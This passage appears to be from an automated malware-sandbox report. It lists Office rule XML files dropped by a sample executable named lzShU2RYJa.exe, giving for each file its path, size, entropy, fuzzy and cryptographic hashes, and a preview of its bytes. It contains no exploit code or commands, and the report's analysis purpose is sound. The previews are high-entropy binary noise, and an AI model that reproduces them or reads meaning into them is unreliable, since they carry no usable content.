Preview:	<?xml.eh.N.....}.~.P$.....[K-..... .A.rrJ...r.....2.H.)..dUF.1...r..?..<dP.e.I........k.%...A.\|.....C....#w V...q...%.k..;.?.zl,.q.l.'...m...fJD<."....9..w.;. @..H\|B.Y}..../.Bp.)..c......!.^j.>...1o.,.....JA.1....5$.c.x.s.xM.k.L....I..U...w...,4W...m.@A.....3v....7j..7...J.B....R......#-.]..1^.dz.."......(..U....v/.3.,.?.....f pgf._[3..P..P..&....9.1.X...4...FV.Lq=..A.3SG.A.h%m..cv{.7A.b.aO._w.i..&u.Wb.i..B..._kS....x..K..L....:&..5I^.z....T.Ip.r6M.&.....S.l....WO.%7xq....h.4PQpi..l;....8.....~@.p9.W........>V.....M..]..W.R.....3.0(.x.5.E..<..l..........@...7{....(8..........u..R.n#..q....e%I.....B.#3Q.....Qh.l..f..KIq. }.Y"..;7.h........ra..t..7...v.(..a894:Sd.H..tG..A.H..4...&Vlc..'Ii.zy..Z....%....g..C....m..k7.\.9..W)0.Hs....x\.".lv....:.w.H.Oi@.z....M.....N.....S@....u.....C...N..2+....{[:.j.P!..:/#..Q...x]...\|;CA Gw..tz.N.+.`i..L+.....L.&.b.u(....C.......b......].3E..A..}.P,W[.>8.0.d..S...;.S...8.#....u...u.+~..@..P...f^.9..H...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703350v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.891714515469644
Encrypted:	false
SSDEEP:	24:FozvbbuNr6F59ZteKvotKwBbaYR1OWbAy1tuAZmcwlXjq2zKIInK5Q5ZWIJ4dUI3:FEbCNryZt/ot9BbarW8T9M5nKWR4CSFD
MD5:	26751E6D74C6A437D43C55883651E72A
SHA1:	4CA7B9E725DB4EA517C3250A4B1B77B3522132D9
SHA-256:	0BAEC179C17A9F9CF18B50E2E3FB88273E5368C116434E568C75288296F3155A
SHA-512:	F9FF7310C7DB77DDA6553444B67611D512E3C711670447C1F8C2EC5352A691D0673D6A7ADE6B06E4A4AB182F4982B42801DE9870A176B63FB43F7713F28ADDD9
Malicious:	false
Preview:	<?xml U....e...@G...B.E..v.n..\|....l..k......9;nxZ7.2O.b.Z..J...%Wyu........[.zN..2....1..mg@..0q9..H~......7.\]j_=....d.....,z..Vx.....7wUMr......jq.....m..`.......LG..{.-....K...[..WZ....}......].c.;.%<...'i..&.e.H.<.2../.e.j.vP..6?0.;.0...]..g.I&......OT@.B.+B....M....6.q.a2.].M(.!..^.8=....S.n.......F\{.T.!~^.w......x\|.rA......i.rYH.>....<..U.Iwuy..r.:.._t......(......%-.H..5......\|B...1.z.e...6`.!............3\]...:7.h......Sh@..Tv.h....&1^B..H.../MI....j.......a...i.W.ET.2...M....4C..<jpw\`s....>.Y...b.2..dL.....\|,s...(....#..W..vz..../.........w\|<...:/yI\|......t... .E..P......=.).N...C2..\|......z...B..{b......D;X.0..`..D..5...On^.n..y.._...4n.#B.3^.X.....B.j.p6d.<.a.x...?...X4!r ...L.a..a=.o.F...m.\|D..&....I.4.4.m..c........nh.SK.....O..-e.V.dby...0..E.o..<9.yC.........iV....S..'....3.9..\P.Z..9!........Nv>..._f.i.k.J..2-.N...........N+9P..A......}...@...9.9..>.=3..5I...$JD9u.8n.m.@9..Z..%.9*.....1....-............

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703351v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.891505864611598
Encrypted:	false
SSDEEP:	48:0vUSoqg2ilfHexrTnrs2JMwjo9GYBLmmFD:0v7NYmVrs2JxjVY9mm9
MD5:	3DC769B987B4C78FC44FC85C61EB4B81
SHA1:	8CE79E48D88494C2EEF14A50687E681E380D2763
SHA-256:	A1DB9ED9E9E9549ED9415331CBE8E62AED13CFCEA27E4720862FF83CE508461E
SHA-512:	75C4120D7519C722F3D0F190756A6972DCF3F3C4534D33E732640518C587D37B7C1C03ABFF335ABAD62A83DE3DD15274A67B38E3B6795CF1317E21C0F197A3F5
Malicious:	false
Preview:	<?xml.....m..9.M....^.~.do>...$........g"0I..'..........uG.7.o"P.LIV...m..\|&..".p..~.y..Xc.l...6.r.yn...5Uk...Gy......k.\....~.....L7..#......5?o.u..'c\....>..OC..+y..c...d...uEh<~...w\|[.l35z..e...VN.(.^P.^..K@IlgS.va...:....(.N..i.. ...v......6,H`~.c.K....%..u..P..uV.=....`_>^.N8).O....zL.X@o.K.....b.\|N...$.wrgN.?=...8..?...V..R.<Y.>g..N.....=a.mM.....w..F...Z..&..p%...5.._.:......\|.a. K..Fh.`]...6./.y.4...{...8.t........u..#AU..ji-._...i...<..D......=.o.fpF...w..~R&.Q$....v.~'Z.^..bgp<.}.[.^.sW:(..x.?......9..J.\|fQ"...Q..G.p.\|...."...m.......B.6'<....\|9.....s.....i..).o{..-%.....S..pV..Bc..R.br.3.A.]....Q4.b..@..vH...VX..a..6..5J~..a.........N.o..f.+.>q}.`..B....j.Yaz....s..-sb./<....'..(...x\|..v..pG:.5zr...g..P"...H....n.!..."..G...6.-Vb.G...H\....v.]..>.._[+.~@m....?...zYL....,....7..e..... ..k......G.......s..`........N.`.MH.9.A1.H..&d.w.<XdR.pX..S&....W.P..0..l.I..S.(.Z.u..=t..jv......H.,..+t...Z6.....J...0P...KW.<.u..K..".1<<k..Vi..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703400v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1721
Entropy (8bit):	7.879940984553867
Encrypted:	false
SSDEEP:	48:hicOPFNemxXC7aY2OMhhTkOxD1cVyk+9FD:hydNNxXMaYDwlkOfc0F9
MD5:	6319D2270E2568963632590AFCFFCC52
SHA1:	58007D9BF2DC53A42D87FD521A0B903666604154
SHA-256:	5D4426F50CFB9AC989213A6160FF82CD8EAEA2DEB760A99E6161816E345EAF18
SHA-512:	12F7804502E1F918CA8455EF124C5927B9FB28B8AC3335B36FAD2DFE867BFA097CAA4DB482FCB565C84D155EDE01D668B9BF80FAF2A33D2AA05E867F0B49CFBD
Malicious:	false
Preview:	<?xml.1..9..}..H..^....N.=e..5.iQ..<..YP..h'...B.].n...T&.=F,.....f.b4.......b2..6.-........+TUh.m.5I....n...<.9y...{iP!.e.6.........zx..U.../k.Y.}K.y.D.k...."...."....<R ..hR..[.V...e...P^LcV...k.).=....'-X{@....8.XIY.p.....^p..s.W...!@0........}..B\P...f.Y.Ye.5](...c..w....b)C.N....y...~.8-6.....^....t...T...........j\|..../Q.=...>.....S..H;..i..J6.s.&.(..r.........?........D ..d../..Vr.@..eS.JE.0).O..N..y.eC.] u..U....7s.....0...........$..w..C....9`...}^....Y..j....i.W.F..y..N...~....p=.=..[.h.P....._...J.....V....#...........X.........x...-.....Zr.......;ra.F.......=.s.`3..G.7...>. N..vr..Z..{\|B.`...H...?..R..U......]~.4V.k..,.D.`U..H&..D-..xF..m...f.......hB..d7.6.I....T......)..Mw.uk_mR.1.z.q.3#[;....A:.6.......L.P.....Cx....#V....h..kHF..I......J..5.;.A....^.-!..W5.\|h2L.^...@..DE`...e:....F..2..........idj.u.)....[c....r.\|.....l..W....w.A......~L.;;=dc!fh1&......H.{.^q....9.......:w./%...k.....\.N..k...6....-..*b~.>.%.w.+..}K.\

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703401v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1758
Entropy (8bit):	7.891539735841897
Encrypted:	false
SSDEEP:	48:4CDBqbeb82tre9nDMaMHUkA5WayAgMzbP0u07t8uFD:tDBq8S9kHU1EaTZzbP0uWz9
MD5:	BF0F018BD4A20CE303B0875D8D59CD12
SHA1:	4A9CBA8EAC71E8E1F1A165E45AFA9D02EFA62F60
SHA-256:	5E99FBF3E9C2878F3D3F139D25E25AD7AF617B6501707546A061CB5D2393A865
SHA-512:	32A06980EEB886465AC686BA31D30E82FA292252975164ACD2EC47C36E17F4885C5F158FD0E77299E5E3CC32037E0559E406F97F3EB1637ADFD114005D9A4DC5
Malicious:	false
Preview:	<?xmlR..{.:.g....c.T..n..#.@#tJ(\n.AL...Rm..{.Lc^.O.ydJl.=@..c...!......v:..cE..T.C.^2.L....rw.{.hj.E...Y..#-m.....V\|^......@....N..>.F>.....a_{.@\|R..`.m.M..&...o....D._c.w.~.l...QRY..X...1....8c@M;%.B7...~..h-..m._?....._.N_.....sI......p......Z.L.\|.@..V.X@...}1...cd.y.@.9..,^....z.\|..e.vH3.. .`.. e..;.A..}7.Y..?l.m.(....t.[.Y.K...M..e.....\|......pn.,y.lCh.}^...nXw.b.?.0.....s.h..b.h..E....$...D..s.....(.(.....B....R...%..n\.*'..\|-...[..F..\.[.....=.~./...G..2.8..Zt.0Qe.D.G&...z,./..5...-..l,........z.....9..mjywI._....h7de..'..q..A..5A......{..8..8d@q...:..<0}.jb..CF...'=9Wu.rL......[.N .r.1.g.w..&>.}"...\...^.j...f.4......eU3.si.dFo..P.n0....7..j.XR...p.lh...t.C..J..?..K..T.X-.z3......[...........k%.%.&X...'E..6n....>.c..K..1$.......>..R.!./....+s."..>.E...m....a.&.Y....paC_I!k0-..\|..ty.\..m.....MM..I.+.MF&.lf.....5.^....Y.\W......JZ.........h.`.....3N...~.....fc.<.+.....C....p4.O#\....N....^.E...u....-.Z_z1....rD..Ue......~..DA.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703450v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.88270459505927
Encrypted:	false
SSDEEP:	48:StLd1qjwBASPdVXVUqceTrgHCgjKCEdtmjkY8FD:StLdMj3aR/cAtCEdXY89
MD5:	CCCB9C939C96BFB590C422137099888F
SHA1:	50CDD56872E99B8B1ACA6D83CF424E6F6B5B1D14
SHA-256:	C57A8C2A874F18F474692F472BFC4F9A0E66A59F3CC2BEEEC1F6E4D79BB553F6
SHA-512:	2E83463B2346000D2B2376C0F4C43E4034170641EE159E6EDAF1E12DA236462F1FB510B6F1EDE93F8B072F3F75AD351131E28C5BFA68557799AB36A0BC7BE6D7
Malicious:	false
Preview:	<?xmlt.5.......B;...9q.D>g}u.."qQ3.5.g.]@.$...\..RVY....wp_.x"..,m.+....Nn...k.......(k...L.p.p.....bK..U8...U..A1/....?d2.S...r...~M.t.....8....;.tMi..$...S...h.ShUo...qL..../s..^3.[..z)......LL..C.-(...S..3`...c&OL@\.6.....n../Z.........8+...........Q....8..J(........I.vh!ex...n.^.ylpl.......q..@.s..{7... [W.......L....f...B.Z{....T.(^...!...)..?+V'.`.5X_...!..h..P....N.7E..wH.f.%>v.4`n..C.....Z...=c.;.\...&.TX..r......u....N=.&c.A.:Z....mB.....3...;(k{....tZ....e@.eW..v.[..ui.O.X..O@-.L.6..=i$8/..W.\.5.{\.l....x.k%...`>...I.....6..c...m.6...q..B..$..Q.e.._....8.-}qB.I.>.\|..R%...J.......?[.h4.S.yD0..%L.9q(..K.D*..w(..+..R..I..I...D....x:J#.#...<..%..Q.j73xn9[X.N.C.......JG.....wK......u..7=.'b.A_.x...9V5....h........t....,'..(......!..)."..q...w...n...n.^...$.....7.<..E.Q....:._K.l....a...`..x..s5r..=..~5..`.i.\|gR.I.~M..6......&.r..m...4...b.R.IW........W........$.....<#\|&T..^,._.. .9....\..@t"F.....S..2..4.."..0.o.<..qL..&...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703451v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.878569208303816
Encrypted:	false
SSDEEP:	48:XCBK+YMeuoQdRwAjuXP6EVTXbodmPfFTgc7vJBIzRNg/PhTcFD:yCMlxacgP6qDbodGfFT7iR2e9
MD5:	4A1C68C51E82EAC65C01285A556A8775
SHA1:	23198B7538066C48CB6966E59B033B17709F07F1
SHA-256:	7077A230EAD7CCC81D510B32F3287AC8BB8E468052C9771D9E7304582A7108EA
SHA-512:	2664A73FD5091DA9C5AEFD3FCE09598C0C7E52707D2F8D88E4094FF4DF73A9F73035A7FF979AC343879A285DC6E28961CED3B5CC3DCE3414685142264031CEB5
Malicious:	false
Preview:	<?xml......zv.2L..Q]Y.hO.u.Q.S.MJ=3.d._...m.v..y.O..R..BXy?.3......g-}..R..)...\....?.u:...ET..D....\....j..89..-)...s.}.$0H..~-A:.3...\...F....q.C.>z.Z..X..M.p..M..%.O...2.6.S......._"...._.T).U.H.\. ...+..O5.t..F&..yMv...?BT\..e1\.........!.....n.^s...9...z.QB./.AR..+^....u.;..... .v.;}6..L.[...hNbw..Y..J.z...n..W.\|.~..W..f..V+.pM..."..e.o.....?..{...f."....Y.O/_..j...P..bf.au..2.&....MJ...ZCPQ....SB...mFKI.....L..u..x......;.?.K.'.$..vZY......D.......\|V......kj{..].........6...FO.^.....d......<...^i...+i.'.#...N...m5p./....G..;...;.w.o?a.^.gp.I=.;....fp..P..{....(...5R....k.}f.iV....M.r..UCL.\U."z....%.e.V......r..X..c%`..=y..\|...qe..(x.a?F.......t'.G.M...x..R..Mt.3...Z.v..21S^..c.q...c:.....F.y.c..U.Y.~..x..L....(..i..L.p....8f`.F.\|8.e.....!.9.._^fO(=.....3^.....".L.9.c.1...Yu....q....\...~,]..m`......o....D....n\|.7..tI.........t.).]....P9.....d.s..4n...O.R.aE .V.t.5....T%.B.F...[..?....:..o..-.~.....N,..=L...T...X.....9}.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703500v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.880675897043358
Encrypted:	false
SSDEEP:	48:nfmNL6T9KtdMCbilVrRk6Bbrp1x1Z8HZ73cC6jx0GFD:nfmN+TctdMCbilVCsrm73cp79
MD5:	1DD40291C7AEEC2E863061C08B174CE7
SHA1:	2B1AA4317EBA001CFBCD4ED8EC7EFA810ADB9282
SHA-256:	D91D948E13BE80E33D72D542B0045A2BABB651D7B381174D5603C8EBA7045BFD
SHA-512:	A11880228C0862FA4325D7E45E11158EC35FE4ED757371A7C0AAB8FFDA520290076B6815080D8DB13FBDAD4515D626C21F5CE93A4024C40CC696CD395EAE7F44
Malicious:	false
Preview:	<?xml)..n..........fiNn.Iw.......>../+u.....!.0.z..y\|.&..v...&.].=..4.>]..0...P#03p.i^.5.h}XJ.._#.:;...>.I.<.O.[.Pz..:..~H.H.\|.J6..L.V.s....%D..._..-N...=32.........Tj.n2l.\|]....\|...Y...?.).......Z.i..5.Z.....5...&.qW.`..G......\|...9..bh./b/WLWI.=`\|.'..%.QQd...PN.M...?..ut#.:.F..!..E.4.vG.......DXT/.`w.S.\.J.$..i..Zb.5....d..?R.....D.<DD....[.\|kL. ....O`.p9.dR.Q...GxJ9.y..>..08yCvc.f.C..`3...TS..\..z..Q..j.#..EY...).n.TX/......n..l=re...U..h.!...."......t.x.F.tS....b/..!..6...]#..{./..z/E.....b.../Ae:.t..%...W......?.Cw...XQS..\|.[.kv..x.A._...H..&.Co.,N...6..r.[.A....D.Z.......V4....dv.......\... 9..T...0.9.......(....(.i.v..N...E......]...`L6..y.U..l.y..,v.5.Vf.AM......\........l..P...%..a.>7M....I.>.sl.@$.K..F...`............m..jUvK\|...r.5......@.x$u.%e.."..s.$.E..7...-.._..RN....`Y....S..=m.<q%.+>...X.a.4...`J. 7..AF{S@#.N....g~.1..]\..W.#".\|p..N9.U.j.!l...Z..l._..<..\...O...'...*.G....#m..0(.l..x.\..c.9..X.....w..\|.."..2.]c

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703501v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.874644194169121
Encrypted:	false
SSDEEP:	48:QbUjvFxXyhlxhPbEsiqpqNJvrENG2j9FD:Q2PXyhlxhzESUNdEN7J9
MD5:	1FC0DD5F6E5F0B4ECACFD026CC09C953
SHA1:	D57E0DEE9C29DB2577680D1243C66A89BEA0118F
SHA-256:	FF14D65F4A05C551960BA0CDAA890BFD17C2776F98C2F74CA653A8668EC10081
SHA-512:	EF2E6F574AA251667492C4F8854ADF4652CC2146320333757F7FCB621FBED2D3D18346730BAC6D60536AD6069EFB13119E68404CD0B29A0CB8FC851DE8C39090
Malicious:	false
Preview:	<?xml-0...kZk........`.B.\|O.>...9D.u/..!ubm....u..P?.7.y4..OU.,...D...B%...f.\...4........7.7g...oA..wL=.$.Z.(K...b..}e.4.c=...X...J.....f.8.6XA]..wRr..h\|.....z,.RV@Eo>.a....V.&..3e..v#..2O...F#.....t.~.i.........'}4F\;...?..^.y...=mk.{.j.3k. . ?q..0.......f.(....z.H.1g.C..B......_n..>e.=fIif........."...O..!vi.M.#.4 ..>..6..1..%B}.6...g].?..h.=....-.G...{Z.X.sP......E\.....B.E.6..~j..~........rx.....a....x.Vb.T!o.e.UO.p.i3N.Ai8..C...h.\.z.F..3...hZ.0."O......i~..$..b.6Y.y.ft^.k..m.%,..Ua#F9...O......+;..4.U}.q9.K..........Ku9....S..u.xm^J....y..F...#...v.8x....V..!.Lumo{.. ..u....&..i3}.7.[7.HQ..C..(.p.........9eh .6.k9.O......A...p....h.].@x.&wA.}tf........... z..M5.Z...v.c(.6r.X...W....%.v...4.D<..A....t..#..5.\|Yj..E.A.^a...q-...!.Y....Be.....!M<...............m...{...N.......w...c/.i%....U....T[z-.(..Q............JO.^."...:z..<K. ..c......K\..$..Y(.b.Y...3..o.j..?.................z.0....X?.p..!@]......<\|. {n\I.E...m.....$.(..b6.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703550v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.889987141976335
Encrypted:	false
SSDEEP:	24:5cU9L0E7Db6nfqKKLYsmHEoynTvb4cX+UgBHkVdyvu1M92DW2AgP3TSVbD:5cA0MDb6EYHkhTvM7UgSVFnPTSFD
MD5:	760AEEA73D9B8EA0295074645E6B74B6
SHA1:	1E3D0C729F67E4B825D2C7298FA4AB9FF1C03BF2
SHA-256:	CA4FE7D9AFD3C0285447A507B11E39C78288DF9178E23C2C7F6DD4E1F4169F9D
SHA-512:	D1CB25E4F445DBF1D115AA3F88BDD83D27DD0838E1212653F2EE78B83B8E5F67EF7328EEC43323EFA2A27F2231B6661DF1A233DAFF9B2308178A8B9D2C630ADF
Malicious:	false
Preview:	<?xml/.<..p.;._=.{....U.(<..y...77.....@.9-..P..U.?.+...7.k5H.s........L...<.6.7...5y.^..xm...7......F......._.K6?.#........a.....%.M.x.O..<....5r..6.4}.._.06...Z.h.-!.x.,..b.k...?.H.a.dh...M......k....g<.P....`....."h.lW([...y....Y[..xE.VP......._..iaG..,h.a.........c..%1.f..,.H.......7.P..Y.....0..LO..d.u.F......5.......`.K\....I.il8..q...C9...<..KC...B...[O.Wh.J..!.R.......!..a....Oa....57.)....I1r...f .I..>p.p.3.Z..9b...u.S2 -!I..W.1%QABS.....h4..'.GyFS$L..-p.\|..L.....gb..$\.:fl.Bv....i...;.\|.....<...&....u.?.M.E;]T....I..@.:.....m.Z._.b..y....V.......)..i....B.M.w..C;..J.rl..)....5.Y.U).3....g.{..JQ...Nr..ZL....R...Sy...........z......l.%...w...EoG-.>...Um..f.H@e.Js...q.....CJ...t..-sc.y.H.7...O'\|..~'.E....].;...]-..8.C2...I<.Nl.E82.....LJ7.6.....6\|....[l6'..\.;.&0...2:..0.1.......!...%#.b...O0..........R-?..9.%F........).u.....(.:`.y.R[.^....e.J.iZy&..x-..`u.$.i=.w.F.._..NZw.+.w.f./.".{.U..^j......k~.4...(.k.a.r.....[..T\|.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703551v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.880186178306986
Encrypted:	false
SSDEEP:	24:ev8JDYvf4A0X1Rq40kaom+3BrlcL9+fKbS5awalvV8L4cdVx5yKjsPVbD:e2Yvf4A0XS9kr3BrlcQ4o3Dx5yAiFD
MD5:	57EB16CB0B50102565C231BA3165D78B
SHA1:	24C43E8B4787637126CD828415887A8282519769
SHA-256:	B2567D0D329B9526F4CC89B3D09A18F21F4DA604FA008684CE3FE1AF60E4E2A3
SHA-512:	2A9AEB7C132480D2C540CE7CECCD88A89997887F7DBF53E7BCED0D189DC61731B4B275D8422FB39E951D1B6D7237449EBA619497C19EB6340D37683DE004DA9B
Malicious:	false
Preview:	<?xml...y.3.L.S.......4..&....7..x+h}.}....`Y..-E.N..=u,i.Ca~_....J.....o/1.,..p? //.f.QO'...Z..u.<...u.....k....u.+...8....mJ.uy....^,..v..y.k.x.......@...)..I.M/.^....0.Cw.TN../J..q`4...?..}_.!...w...(....wY\|= ..i.9:.@n..K...Z..C-...q).p8.TW3i(...&....xK.k~...`..t._.7(..I. .y..:.....zh.C'...9I.....S..h."B.&R&n.T&r&.fg..Zc...Fq..=_.QGt_...V8....S..Q$[..RK..\|...I.\..aDj$.ll.J%.jh!q>[.X.g.n.rz.G......q.).P)g/...a.jKuL...=Sa.`.$I..7I6...T..R..W.Gn..R...x-..K8.TQ.5..q.~....(.2......S.....<tiN...o>!.f.x.[...P....^..s.6...O.3..O........)'..?8.s.N.MHV....^.j:....M/:..y...$q...9...H.;. ..J."aK.U.\.oH.5s..8L...t...u>..rM."c..."'..70...PkS..:.<."..8.g7..&..Z\|..c.........z.+.e..$.<%.....d....A............'..w..w.;..=^....+....q.......bK.`..^..1.Q#.8oB{.L.1.]}D...M..u.$=<oQq+. .s.....s.uM...MK.....\..V!.H.).O.HP.._h.....7x...Vvf._.....-.J...b.2..T).....}).......E.llX6e........T..ooX,.>.O...n.8}.z..J.....e..=~#.?...#6...@v......?&...NA...4.v.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703600v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.892673709108181
Encrypted:	false
SSDEEP:	48:g2LgdTIc/WDcQLXwDQ1Z9HiEnu+GT7TTRKBXmjnIEFD:g2LCUc/CLXh127TTE+/9
MD5:	FEE0BEE4EA92B4C0A2C5B1AD54F094E0
SHA1:	A66D0D574D55FC4AD06E74EC43E31E30EB68D19E
SHA-256:	3711A4A5A5E8A400E90F38D1F7775A82B2DC4C734261925E93C5176B586D73D7
SHA-512:	1A8D39BB515324A879D1CBC2A98E4F04AA1C86719AEAF3BC10C907D2DBC1AEA226847A6CEFF7CEDCDDF29FC13DC915592753B073C3A54E49F0C14DFFF178A7B5
Malicious:	false
Preview:	<?xml..x`4..DN/..........G.=x.....%.....n.....F1..oW.x.......6........ac.2.}...T.m..O.?...QL.....1c....:....V.d..il.w.eJ....~..ZC...]b....J%....I8.......8....c...m.2.....U..N.........7.[.d......<....,.&.!..4.L.$ik....;.Y...miPer.....e.U.......'N <dm.....i..X...>\|..I=.-.......L..TBi......L/..._m..i.k.[.&..yS...F.r...,....-..).`8V.-.,..@...M.-..(........\|..P.#!..>[O.......6...)\|......1.Sg.....\.>..k.....5.,LGo.%.q.m....... v...I.+z.2........:...$..J........"..o.3;H.!..rU[&./.\|.2... ..d2.@..n.>..R...%mA.......y.\.p.7k).t.`......Wn.W./.M...z....R...jWO...\|.....!....T.....c..y.\..<.k1...P....>.e.p).4...q..%h.......JO.{..Ig...;...{.L.).h5B....EK...!...w).u.ki.../K<.g..}..o..!.&.....6.P.i%IX..../.........2.w#=5F.j..l.J&.b&}.oqS.N.&8e.q&\|.t.2.....c....,..Z....3.....7..,Z-.r..7.b+...2..^>.=..)...9.]K7n.>...$.q.g.5..f.e.D..$.V.K:.......y...t...."eJg.`.......<..w..>...Y>n.Z.<...P.....0.T*&.C..Ht.c.T..Y._...,[.3h.\|.+.#v2&Um.i.".p.....'.3....:De..=..@.`._7.W

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703601v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.884704506650955
Encrypted:	false
SSDEEP:	24:XzA2pDnE08u666x1Krk0FOnCGERoaugDpZXJnSnx2ToFVrSHxWipwRYYsoKV4WSU:XU2pDE08uUSOCGEaUEpDQJpQdsxVNFD
MD5:	9DF7DFAF04C2E715B26A451A7B019C30
SHA1:	52A502101C9FAD1F999128FB3D55E012C89508BD
SHA-256:	C4B2618213E0BB2EE5354FC8025E8539542587282B31D39576FBA08F1D422A9F
SHA-512:	559B63552A7649FB2DCD3456F8C91C6CD9985EC7AEE32AFF6FAD71685798A4C03358971852CCF5B2A9BCC2BBC32A56341E54D4E4AF84F5583BC34AE396476AC4
Malicious:	false
Preview:	<?xml....w..:. ..F.....`..n.wS?.'?.\Ed....&.u.(.q.q..UJ..9.qQK-)...no,...%:.3.....-w_..iDN...o...]X.Ar...{c>&5sm.m.9.....a.d...i.0v.j.\QV..0....t..N}....,6X..Y..t....w............t=l..}._..W.!-.........Y.Su.)..i....d...7.......X....+....@.5..;....[.....Q.#zJ#..h.....fm&..e...L....'J.[x.".....U............j.,...\..l.x...2.2j.3l...X.={..2...ix....8...CO.7k....Q.i..fy..x)[...M.f...d..$..5~\|vb....=...O.7.$...5..`........0Y.9;......<.LW.t;./}.c.....`....#..L.....k..2.UMV_..o.cC_...X1.AI..\3'.-...;,.O<C..c..gv.....'!.G$...f..03...i~.B>..e.1.r..}..b...........D..C.[.d..B....a...+....f.....M.r.v...7).........jQ....j.O,8.C...P.....8..H...zNCRm...g.0@...;.\T.F1.......J..YN..>[,i..;v.K.\..^..j..8T........jd...g.p.....<....".T6..x.P\|....D.mk..W....._.....JU...c.Y..j.=..TA....n.-.C5..K..B.m.L.t.,.....v..%.H.<.-.}U.m\|T.=..(N.]Y0. .V..?..5\.L..bh\.......'.,L`K.1.........l.....E....:.-....W.gP...v..K..`.}.............U..5..i.[.....h.@.....x......C...4.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703650v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.893623083182361
Encrypted:	false
SSDEEP:	48:WQOGmMmsBHC4Gw7/ifXFCyJOCkjCHRZsCOsFD:W6mwHC4PifXFvHkjCxZfL9
MD5:	F8D783F0D1824B9D8535C8C3BA528E5D
SHA1:	8BA618F91AEBFAFD1C64253DB683E3C7A1141C59
SHA-256:	AAB52D6BA53E5706DF108CE227EFB2103B66135A57B37E7835C90C963F3B4469
SHA-512:	3D8A54EE38A28313E12EC9E109D827FFA32CA11CFB00EDC86A14CA1684A39B3427AFDDBC5274CBA875B092EAC7031D5FC27770745E817551072A68CB35C38148
Malicious:	false
Preview:	<?xml1.;.AP,Mkx..5.~Ku.C....N.Q....:.7?l.~....f".M.~.. =.....7.F4f..q.O..y.2d..)d:......]m.1.o......dks$!4.Spe.P...ap.m3.y\|.....[1_P..../.e,.s...]....Rv...4.... s.6R....n]0YR.#.Z.]idq..2...........:...z...c...\|C[..,H#....z........wTM.+C.b.^.....=.3$..y[....ZC.z5[#..fj23f\|.s.K.<)..>.`.Uj/....V>..q.!..x..uE-%.8.....:.xL.k....,.N.5..M.}...H....zp........\.6..:{......X..c.A.Q.@6...O..n........y.......a.6.A.t..VE.....0.NS.cF.U0...%.z).H.;5?SW".0.....F.~{u.b..H./.NA..V.e.#3..l.@..f.-\Qzh.0.....o...e_...0..G.g..Z}.0......cG.0<..[.y..d.~.dt`...[.;]..2.....]O......68.!.......?...."....Uo..d}.......p......<..#.).!n-.....~.......v/.i30..P....L..S.b..:.\|.t.r..&.Q...S.K..f?.c!.,...@.s.p......Lu ..J..U.(... ...#(.Fv12o....atI.780.. q../%.......p.....l...1.j..EiEF...N...5.Q..Up...\F..nux......t>P.W4.p.8..)...U'...I).#/ ..H.....\T....J....t......3.{.k.e..y..-H....??.........@.Ejg...MFD....Vl.j=....s8m.t...(5...+.=L%..."K..+fr+......m...K..._.g.1..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703651v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.874437250723033
Encrypted:	false
SSDEEP:	48:zbCs+dSWiq7J1zz3H5P1il/SogsGrnrDaVGed1ZmTFD:zbCsrqjz35P/DLrrGZmT9
MD5:	34997DC5F7F6D5AF04B6457C2BF85C30
SHA1:	2FBF591F46317A1EAB6F586F645292000031EB45
SHA-256:	A2CED7D223C181A59AFF2F53D15FF7A426921FD388002AFC9A99D993DE94650E
